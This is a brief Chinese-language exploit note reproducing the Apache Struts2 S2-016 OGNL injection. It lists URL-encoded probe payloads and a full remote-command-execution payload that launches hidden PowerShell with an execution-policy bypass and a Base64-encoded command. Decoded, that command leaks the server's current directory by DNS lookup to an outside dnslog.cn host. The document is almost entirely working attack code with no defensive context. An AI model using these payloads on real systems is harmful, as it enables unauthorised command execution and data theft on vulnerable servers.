S2-016复现

测试POC字典：

redirect:%25{3*4}
redirect%3A%24%7B3%2A4%7D
action%3A%24%7B3%2A4%7D

执行命令：

# 进行url编码
redirect:${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"powershell.exe","-NonI","-W","Hidden","-NoP","-Exec","Bypass","-Enc","cABpAG4AZwAgAC0AbgAgADEAIAAlAEMARAAlAC4AMgBhAG8AOQBlAHMALgBkAG4AcwBsAG8AZwAuAGMAbgA="}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}